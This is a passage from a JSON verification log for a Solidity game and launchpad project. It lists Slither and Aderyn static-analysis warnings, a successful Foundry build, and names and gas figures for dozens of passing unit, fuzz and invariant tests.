rolls.push(Roll(uint32(idx - 1),imp.nonce,uint64(ARB.arbBlockNumber()),false,false,0)) (src/PadGame.sol#278)\n[medium/medium] unused-return at src/PadLiquidity.sol:585: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#585-658) ignores return value by (None,fees) = poolManager.modifyLiquidity(key_scope_0,ModifyLiquidityParams(MIN_TICK,MAX_TICK,0,0),) (src/PadLiquidity.sol#614)\n[medium/medium] unused-return at src/PvPPad.sol:240: PvPPad._upkeep(address) (src/PvPPad.sol#240-265) ignores return value by IPadLiquidity(liquidity).observeMarket{gas: UPKEEP_OBSERVE_GAS}() (src/PvPPad.sol#246)\n[medium/medium] unused-return at src/PadLiquidity.sol:585: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#585-658) ignores return value by poolManager.donate(key,maxEth - owe0,0,) (src/PadLiquidity.sol#602)\n[medium/medium] unused-return at src/PadLiquidity.sol:688: PadLiquidity._settleToken(address,uint256) (src/PadLiquidity.sol#688-693) ignores return value by poolManager.settle() (src/PadLiquidity.sol#692)\n[medium/medium] unused-return at src/PadLiquidity.sol:680: PadLiquidity._settleEth(uint256) (src/PadLiquidity.sol#680-686) ignores return value by poolManager.settle{value: amount}() (src/PadLiquidity.sol#685)\n[medium/medium] unused-return at src/PadLiquidity.sol:345: PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#345-399) ignores return value by poolManager.initialize(key,sqrtP) (src/PadLiquidity.sol#387)\n[medium/medium] unused-return at src/PadLiquidity.sol:585: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#585-658) ignores return value by (delta,None) = poolManager.modifyLiquidity(key,ModifyLiquidityParams(MIN_TICK,MAX_TICK,int256(l),0),) (src/PadLiquidity.sol#591-592)\n[medium/medium] unused-return at src/PadGame.sol:166: PadGame.enter() (src/PadGame.sol#166-180) ignores return value by entrants.push(msg.sender) (src/PadGame.sol#173)\n[medium/medium] unused-return at src/PadGame.sol:191: PadGame._draw(uint256,address) (src/PadGame.sol#191-250) ignores return value by imps.push(Imp(who,0,0,0,0,0,0)) (src/PadGame.sol#239)\n[medium/medium] unused-return at src/PadLiquidity.sol:585: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#585-658) ignores return value by poolManager.donate(key,0,maxTok - owe1,) (src/PadLiquidity.sol#605)\n[low/medium] missing-zero-check at src/PadToken.sol:35: PadToken.initialize(string,string,address,address).game_ (src/PadToken.sol#35) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadLiquidity.sol:194: PadLiquidity.deployHook(bytes32).h (src/PadLiquidity.sol#194) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadGame.sol:154: PadGame.initialize(uint256,address,address,bool).token_ (src/PadGame.sol#154) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadGame.sol:154: PadGame.initialize(uint256,address,address,bool).liquidity_ (src/PadGame.sol#154) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadHook.sol:16: PadHook.constructor(address,address).poolManager_ (src/PadHook.sol#16) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadHook.sol:16: PadHook.constructor(address,address).liquidity_ (src/PadHook.sol#16) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadToken.sol:35: PadToken.initialize(string,string,address,address).liquidity_ (src/PadToken.sol#35) lacks a zero-check on :\n[low/medium] calls-loop at src/PadLiquidity.sol:469: PadLiquidity._collect(uint256,address) (src/PadLiquidity.sol#469-491) has external calls inside a loop: current = IArbSys(address(0x64)).arbBlockNumber() (src/PadLiquidity.sol#482)\n[low/medium] calls-loop at src/PvPPad.sol:193: PvPPad.fundGames() (src/PvPPad.sol#193-223) has external calls inside a loop: IPadGame(games[i_scope_0]).fundPot{value: share}() (src/PvPPad.sol#220)\n[low/medium] calls-loop at src/PadLiquidity.sol:469: PadLiquidity._collect(uint256,address) (src/PadLiquidity.sol#469-491) has external calls inside a loop: this.collectPool{gas: COLLECT_GAS}(idx,payee) (src/PadLiquidity.sol#473-490)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#613)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#600)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#613)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#600)\n[low/medium] calls-loop at src/PvPPad.sol:193: PvPPad.fundGames() (src/PvPPad.sol#193-223) has external calls inside a loop: (live,p) = IPadGame(game).isLiveForKing() (src/PvPPad.sol#203)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#611)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#612)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#600)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#611)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#612)\n[low/medium] calls-loop at src/PadLiquidity.sol:469: PadLiquidity._collect(uint256,address) (src/PadLiquidity.sol#469-491) has external calls inside a loop: this.collectPool{gas: COLLECT_GAS}(idx,payee) (src/PadLiquidity.sol#473-490)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#611)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#612)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#612)\n[low/medium] calls-loop at src/PadLiquidity.sol:469: PadLiquidity._collect(uin","passed":true},{"durationMs":748,"exitCode":0,"name":"aderyn","output":"[high] abi-encode-packed-hash-collision at src/PadLiquidity.sol:204: `abi.encodePacked()` Hash Collision\n[high] contract-locks-ether at src/PvPPad.sol:11: Contract locks Ether without a withdraw function\n[high] eth-send-unchecked-address at src/KingOfThePad.sol:115: ETH transferred without address checks (3 places)\n[high] incorrect-caret-operator at src/libs/PadLib.sol:53: Incorrect use of caret operator\n[high] msg-value-in-loop at src/PvPPad.sol:216: Loop contains `msg.value`\n[high] reentrancy-state-change at src/KingOfThePad.sol:63: Reentrancy: State change after external call (20 places)\n[high] unsafe-casting at src/PadLiquidity.sol:291: Unsafe Casting of integers (3 places)\n[low] costly-loop at src/PadGame.sol:224: Costly operations inside loop (4 places)\n[low] large-numeric-literal at src/KingOfThePad.sol:19: Large Numeric Literal (31 places)\n[low] literal-instead-of-constant at src/KingOfThePad.sol:73: Literal Instead of Constant (57 places)\n[low] missing-inheritance at src/KingOfThePad.sol:16: Missing Inheritance (4 places)\n[low] require-revert-in-loop at src/PadLiquidity.sol:444: Loop Contains `require`/`revert`\n[low] state-change-without-event at src/PadGame.sol:328: State Change Without Event (5 places)\n[low] state-no-address-check at src/PadGame.sol:158: Address State Variable Set Without Checks (4 places)\n[low] state-variable-could-be-immutable at src/PadLiquidity.sol:106: State Variable Could Be Immutable (3 places)\n[low] storage-array-length-not-cached at src/PadGame.sol:313: Storage Array Length not Cached\n[low] unchecked-return at src/PadGame.sol:341: Unchecked Return (7 places)\n[low] uninitialized-local-variable at src/PadGame.sol:224: Uninitialized Local Variable (7 places)\n[low] unsafe-erc20-operation at src/PadGame.sol:286: Unsafe ERC20 Operation (5 places)\n[low] unused-public-function at src/PadGame.sol:439: Public Function Not Used Internally (3 places)\n[low] unused-state-variable at src/PvPPad.sol:21: Unused State Variable","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"84ced9b8715b23577f23e7e26eed58ea0b8fd9dd6f2015b6d6e81112079ae0dd","verifiedTreeHash":"3a0d82f81f1f613d8761b604b8cb7d0d2df18841","verifierVersion":"0.1.0+8fbf00a5"},{"checks":[{"durationMs":152450,"exitCode":0,"name":"build","output":"Compiling 96 files with Solc 0.8.26\nSolc 0.8.26 finished in 152.32s\nCompiler run successful!\n","passed":true},{"durationMs":5872,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 4 tests for test/V3FailureEdges.t.sol:V3PoolFailureEdgesTest\n[PASS] test_onlyCrownMayRequestStrictSettlementAndIndexErrorsDoNotChangeHealth() (gas: 176152)\n[PASS] test_retryInsideRealManagerUnlockCannotDiagnoseHealthyPoolAsBroken() (gas: 796490)\n[PASS] test_successBetweenFailuresRequiresThreeNewDistinctBlocksToBreakPool() (gas: 3627863)\n[PASS] test_tokenTransferFailureRollsBackBothFeeCurrenciesAndCanBeRecovered() (gas: 1389134)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 31.07ms (2.89ms CPU time)\n\nRan 5 tests for test/AuditV3.t.sol:AuditV3GameTest\n[PASS] test_lapsedSeedIsIndependentOfCallerAndCaptureDelayAndBountyPaidOnce() (gas: 3002641)\n[PASS] test_nonGenesisSplitAndExpiredTipGoesToPotWithPenalty() (gas: 10559186)\n[PASS] test_resolveBatchClampsToSixteenAndLowGasStopsSafely() (gas: 20081493)\n[PASS] test_tenBlocksPerSecondSixtySecondRollerNeverExpiresWithResolver() (gas: 6247185)\n[PASS] test_upkeepSeedBountyGoesToCallerAndNotPad() (gas: 1954106)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 40.00ms (14.14ms CPU time)\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1047790)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 257885)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 7552812)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 1098206)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 929077)\n[PASS] test_distributeWithoutKingLeavesFeesInPosition() (gas: 868897)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 9376471)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 586331)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 9693012)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 1036728)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1004048)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 3953896)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 35152)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 168312)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 45.35ms (14.75ms CPU time)\n\nRan 1 test for test/AtomicDeployment.t.sol:AtomicDeploymentTest\n[PASS] test_atomicManifestGasIncludingCalldataAndLaterGenesisFitsTarget() (gas: 42777699)\nLogs:\n  Raw CREATE2 manifest gas including calldata and intrinsic: 12189237\n  Later openPad including hook and genesis gas: 774386\n  Combined manifest and later opening gas: 12963623\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 56.01ms (55.80ms CPU time)\n\nRan 2 tests for test/V4Pad.t.sol:V4FallbackTest\n[PASS] test_nativeGenesisThenIMDGraduationLeavesNoStrandedQuoteDust() (gas: 20385697)\n[PASS] test_zeroIMDAfter24HoursGraduatesNativeAndPreservesV3Burn() (gas: 11174203)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 86.91ms (84.64ms CPU time)\n\nRan 35 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 2094616)\n[PASS] test_claimableWinner() (gas: 2922826)\n[PASS] test_conservationOfEth() (gas: 5969442)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 43172)\n[PASS] test_deadImpCannotRingTheBell() (gas: 2431822)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 2488411)\n[PASS] test_deathAndAllDeadEnd() (gas: 1963143)\n[PASS] test_entryOnePerWalletAndSignupWindow() (gas: 1611408)\n[PASS] test_expiredRollMovesTowardZero() (gas: 2559599)\n[PASS] test_failedPushBecomesClaimable() (gas: 1610053)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 5510162)\n[PASS] test_finalizeRanksAndPays() (gas: 4860040)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 1831181)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 120469668)\n[PASS] test_finalizerFeeCapped() (gas: 12815260)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 1874647)\n[PASS] test_firstEntryStartsSignupWithoutSeating() (gas: 374110)\n[PASS] test_fundPotOnlyPad() (gas: 44007)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 21424504)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 3682735)\n[PASS] test_graduateOnlyFromGame() (gas: 73134)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 8315935)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 1572377)\n[PASS] test_hardEndAt50MinutesAfterPlayStart() (gas: 4224379)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 9776884)\n[PASS] test_resolveBatchIncludesTenRolls() (gas: 7504204)\n[PASS] test_rollAfterOwnBellReverts() (gas: 2430935)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 1979237)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 1907201)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 1811569)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 1489322)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 1420938)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 3221132)\n[PASS] test_tokenLockedUntilGraduation() (gas: 1576396)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 3109340)\nSuite result: ok. 35 passed; 0 failed; 0 skipped; finished in 109.70ms (116.64ms CPU time)\n\nRan 7 tests for test/AuditV3.t.sol:AuditV3KingTest\n[PASS] test_failedPoolRequiresThreeDistinctL2BlocksThenAnyoneCanRecoverIt() (gas: 2706876)\n[PASS] test_failedSettlementRollsBackEarlierHealthyPoolPayments() (gas: 7009368)\n[PASS] test_firstCrownAlsoRejectsUnlockedManager() (gas: 407079)\n[PASS] test_gasStarvedBidRevertsWithoutChangingCrownOrPoolHealth() (gas: 1191611)\n[PASS] test_outgoingKingGetsLargeTokenFeesInKindAndNextKingGetsNoStash() (gas: 2473172)\n[PASS] test_sixteenPoolsBothCurrenciesAndGasEatingKingFitSettlementBudget() (gas: 10142833)\nLogs:\n  16 real pools both currencies, rejecting king, bid gas used: 4797834\n\n[PASS] test_unlockCallbackCannotTakeCrownOrDistribute() (gas: 1936490)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 126.74ms (96.43ms CPU time)\n\nRan 9 tests for test/Revision.t.sol:RevisionTest\n[PASS] test_carryStaysInPadEvenAfterFiveSeats() (gas: 20554093)\n[PASS] test_freeLaunchesDoNotCrowdEnteredGamesOutOfTheKingWindowOrUpkeep() (gas: 26557206)\n[PASS] test_fullRangeSqrtPriceConstantsMatchTickMath() (gas: 17003)\n[PASS] test_liquidityClaimLockIsSeparateFromThePoolGuard() (gas: 16774070)\n[PASS] test_outgoingKingIsPaidEvenWhenTheBidComesFromInsideLiquidityClaim() (gas: 17688731)\n[PASS] test_seatedEventUsesTheSameOneBasedIndexesAsTheViews() (gas: 8545309)\n[PASS] test_soleBuyerSybilLosesMoneyEvenAfterDumpingEveryTokenAndTakingTheCappedRelease() (gas: 18277869)\nLogs:\n  curve ETH raised: 441000000000000000\n  sybil net outlay before the dump: 399450000000000000\n  dump proceeds: 259263336672922359\n\n[PASS] test_takeCarryAndNoteFirstEntryAreGameOnly() (gas: 16413543)\n[PASS] test_takeCrownRevertsInsteadOfSkippingTheOutgoingKingWhileLiquidityIsLocked() (gas: 16361472)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 245.52ms (278.26ms CPU time)\n\nRan 6 tests for test/AuditV3CarryUpkeep.t.sol:AuditV3CarryUpkeepTest\n[PASS] test_fiveWalletCarryChainOnlyPullsUnusedCapAtFinalize() (gas: 49714295)\n[PASS] test_fiveWalletNoRollChainNeverTakesCarry() (gas: 5334641)\n[PASS] test_ownGasEstimateEntryAndRollWithForeignDraw() (gas: 987189)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 187792\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignFinalize() (gas: 1021207)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 191464\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignGraduate() (gas: 1021573)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 191464\n\n[PASS] test_upkeepSubcallCanExhaustItsFullStipendWithoutRevertingEntry() (gas: 50674880)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 299.98ms (341.41ms CPU time)\n\nRan 1 test for test/V3CarryProperties.t.sol:V3CarryPropertiesTest\n[PASS] testFuzz_onlyUnusedReleaseAllowanceLeavesCarryAtFinalization(uint256,uint256,uint256) (runs: 128, μ: 11144509, ~: 11418544)\nLogs:\n  Bound result 5\n  Bound result 420\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 589.15ms (557.83ms CPU time)\n\nRan 6 tests for test/RaffleEdges.t.sol:RaffleEdgesTest\n[PASS] testFuzz_above200ExactlyTwoHundredDistinctSeats(uint16,uint32,uint8) (runs: 24, μ: 85639052, ~: 82235356)\nLogs:\n  Bound result 245\n  Bound result 2\n\n[PASS] test_deathAtExactlyTenMinutesFromPlayStartAndAllDeadEndsTheGame() (gas: 2733787)\n[PASS] test_kingFundsSignupGameByEntriesAndFundedEthReturnsToCarryWhenNobodyRolls() (gas: 12221012)\n[PASS] test_repeatedDrawCallsInOneBlockOnlyAdvanceAfterSeedAndNeverSeatTwice() (gas: 71095333)\n[PASS] test_rollOneSecondBeforeHardEndWorksAndAtHardEndReverts() (gas: 4855382)\n[PASS] test_unselectedEntrantKeepsEntryHasNoSeatAndCannotRollOrReenter() (gas: 52872861)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 968.84ms (1.00s CPU time)\n\nRan 7 tests for test/CrownSettlement.t.sol:CrownSettlementTest\n[PASS] test_bidderCannotSteerCursorToDivertReignFees() (gas: 6342863)\n[PASS] test_brokenPoolSkippedByTwoCrownsPaysTheEarliestUnsettledReign() (gas: 2380144)\n[PASS] test_extraBidGasSettlesMorePoolsInOneBid() (gas: 19834040)\nLogs:\n  takeCrown gas, sixty real pools fully settled: 7812490\n\n[PASS] test_firstCrownOpensNoReignAndPaysPreCrownFeesToTheFirstKing() (gas: 713271)\n[PASS] test_nonKingCannotSettleOrCloseAReign() (gas: 467713)\n[PASS] test_poolsBeyondTheBidGasStayOwedToTheOutgoingKing() (gas: 23943849)\nLogs:\n  pools settled by a minimum-gas bid, sixty real pools: 40\n\n[PASS] test_settlementRevertsBelowSixteenPoolsAndSucceedsAbove() (gas: 6040343)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 1.47s (2.80s CPU time)\n\nRan 9 tests for test/LiquidityV4.t.sol:LiquidityV4Test\n[PASS] test_collectPoolRejectsExternalCallers() (gas: 35383)\n[PASS] test_crownPrecollectsAllEighteenPools() (gas: 19671100)\nLogs:\n  takeCrown gas, eighteen real pools: 2832620\n\n[PASS] test_failedDistributorBlocksCrown() (gas: 16251002)\n[PASS] test_oneFailingPoolCannotBlockBidOrHealthyPoolFees() (gas: 22570562)\n[PASS] test_outgoingKingReceivesFeesBeforeCrownEvent() (gas: 16942048)\n[PASS] test_realBurnIgnoresAnUnrelatedPriorTokenSync() (gas: 15916508)\n[PASS] test_realPoolManagerGraduatesSoldOutAfter2400ActualRolls() (gas: 8928858)\n[PASS] test_realPoolManagerSmallestRaiseGraduatesAndConservesAccounting() (gas: 10761875)\n[PASS] test_realTradingTokenFeesPaidInKindWithoutSwap() (gas: 16638603)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 1.95s (1.17s CPU time)\n\nRan 21 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 107524)\n[PASS] test_bindingsAreOneShot() (gas: 87569)\n[PASS] test_carryPotStaysThroughNextDraw() (gas: 18306100)\n[PASS] test_closedPadRevertsEverything() (gas: 103611)\n[PASS] test_constructorsNeedNoExternalCodeAndMintNothing() (gas: 719358)\n[PASS] test_deployGasUnderBudget() (gas: 19942)\n[PASS] test_deployHookOnlyByPad() (gas: 33191)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 19458014)\n[PASS] test_fundGamesOnlyKing() (gas: 39546)\n[PASS] test_hookRejectsForeignInitialize() (gas: 7965257)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 16535511)\n[PASS] test_launchValidatesStrings() (gas: 15836139)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 7835641)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 7869409)\n[PASS] test_openPadOnlyOnce() (gas: 7907774)\n[PASS] test_openPadRejectsBadSalt() (gas: 203584)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 7135355)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 8262387)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 37974902)\n[PASS] test_templatesCannotBeInitialized() (gas: 8006246)\n[PASS] test_upkeepForOnlyGames() (gas: 8058562)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 1.96s (392.52ms CPU time)\n\nRan 9 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 16352051, ~: 16352048)\nLogs:\n  Bound result 19990000000000006448\n  Bound result 2040306995628688352\n  Bound result 1848\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 16657607, ~: 16657626)\nLogs:\n  Bound result 19990000000000001596\n  Bound result 38011079999999998246\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 18581901, ~: 15715321)\nLogs:\n  Bound result 3\n  Bound result 876699592022354930\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 16219084, ~: 16219113)\nLogs:\n  Bound result 10000000000000001\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 12332930, ~: 11284379)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 3454570121562513374\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 37796, ~: 37819)\nLogs:\n  Bound result 16383\n  Bound result 350001\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21796, ~: 21373)\nLogs:\n  Bound result 99999999999999999998\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 38389, ~: 38570)\nLogs:\n  Bound result 404284521931462223\n  Bound result 3055766169896858080\n  Bound result 3888467660267248490\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 15410227, ~: 14625577)\nLogs:\n  Bound result 9\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 1.96s (10.86s CPU time)\n\nRan 5 tests for test/V3FailureEdges.t.sol:V3GameFailureEdgesTest\n[PASS] testFuzz_everyResolutionWindowOffsetPreservesTheTip(uint256) (runs: 1000, μ: 1742939, ~: 1751628)\nLogs:\n  Bound result 326\n\n[PASS] test_drawBountyCallbackCannotCaptureAgainOrAdvanceExtraSeats() (gas: 2069423)\n[PASS] test_finalizeBatchFailureRollsBackTipsAndPartialResolutionUntilPermissionlessProgress() (gas: 43252180)\n[PASS] test_optionalDistributeAndBurnMayBothExhaustCapsWithoutRevertingEntryOrRoll() (gas: 3686726)\nLogs:\n  entry with both liquidity upkeep stipends exhausted: 1354021\n  roll with both liquidity upkeep stipends exhausted: 1453752\n\n[PASS] test_resolverDebtSurvivesFinalizationGraduationAndRejectedClaim() (gas: 3118816)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 1.96s (1.96s CPU time)\n\nRan 32 tests for test/V4Pad.t.sol:V4PadTest\n[PASS] testFuzz_bailSequencesConserveETHAndSupply(uint8,uint8) (runs: 64, μ: 10403299, ~: 9114739)\nLogs:\n  Bound result 3\n\n[PASS] testFuzz_sandwichOnConversionChunkLoses(uint96) (runs: 64, μ: 70751516, ~: 70735956)\nLogs:\n  Bound result 59999900000000004224\n\n[PASS] test_IMDDonationsDoNotChangeConversionCreditOrGraduationPrice() (gas: 2876123)\n[PASS] test_anchorBandBoundsCumulativeWalkAndDecaysForAGenuineMove() (gas: 70132248)\n[PASS] test_bailAfterActualSellOutReopensCurveAndCostCountsOnlySpentETH() (gas: 5445229)\n[PASS] test_bailOnlyDuringPlayAndOnlySeatedWallets() (gas: 3467248)\n[PASS] test_bailOutProfitLossMinOutAndConservation() (gas: 3135572)\n[PASS] test_bothCurrencyOrdersGraduateAndPayTheCorrectKingAssets() (gas: 7729882)\n[PASS] test_constructorPoolIdRejectsChangedVenueFields() (gas: 3250880)\n[PASS] test_conversionAccessAndConstructorKeyValidation() (gas: 1091965)\n[PASS] test_conversionLimitIntervalPartialFillAndEscrow() (gas: 70348878)\n[PASS] test_deadWalletMayBailWhileAnotherLivesAndErasedActivityDoesNotDelayEnd() (gas: 3137961)\n[PASS] test_dustFillsDoNotRefreshTheStallClock() (gas: 71191176)\n[PASS] test_erasureExcludesRankingBellLivingAndFundedReleaseButPaysPendingTip() (gas: 4806038)\n[PASS] test_exactIMDKeyAndEmptyApplicationDeployment() (gas: 67801)\n[PASS] test_failedVenueAttemptDoesNotConsumeInterval() (gas: 69945997)\n[PASS] test_graduationPriceEquivalentAndUnlocksInSameTransaction() (gas: 4635273)\n[PASS] test_heldFrontRunAcrossAllChunksIsRefusedAndLoses() (gas: 86368065)\n[PASS] test_kingCollectsIMDAndCoinsInKindAcrossCrown() (gas: 4704393)\n[PASS] test_largeRawTokenRatioDoesNotOverflowPriceEncoding() (gas: 6853)\n[PASS] test_lowGasProbeCannotConsumeConversionInterval() (gas: 69933121)\n[PASS] test_nestedUnlockCallerIsRejectedAndHonestChunkConverts() (gas: 70341266)\n[PASS] test_noReturnIMDStillSettlesGraduationBurnAndFees() (gas: 3296683)\n[PASS] test_partial24HourFallbackUsesIMDAndCarriesOnlyRemainingETH() (gas: 70747641)\n[PASS] test_realProgressAboveFloorRefreshesClockButSevenDayCapBounds() (gas: 72089555)\n[PASS] test_rejectedBailPaymentRemainsClaimableAndCannotBePaidTwice() (gas: 1849234)\n[PASS] test_soleBuyerSybilWithProfitableBailAndFiveSurvivorsStillLosesAfterTwoHopDump() (gas: 83861581)\nLogs:\n  Sybil net curve ETH after bailout: 433763283181329605\n  Sybil loss excluding entries and gas: 116818580362673557\n\n[PASS] test_twoGamesKeepIndependentConversionEscrows() (gas: 160638984)\n[PASS] test_twoHopBurnBothPriceLimitsIntervalAndIntermediateAccounting() (gas: 3325062)\nLogs:\n  Two-hop burn gas: 284553\n\n[PASS] test_untouchedGameStartsItsClockOnFirstTouchAndGraduatesIntoIMD() (gas: 2724784)\n[PASS] test_upkeepConvertsAndGraduatesWithBoundedGas() (gas: 70788305)\nLogs:\n  Conversion upkeep gas: 502982\n\n[PASS] test_zeroLiquidityChunksDoNotExtendTimeout() (gas: 2965150)\nSuite result: ok. 32 passed; 0 failed; 0 skipped; finished in 2.04s (3.48s CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] 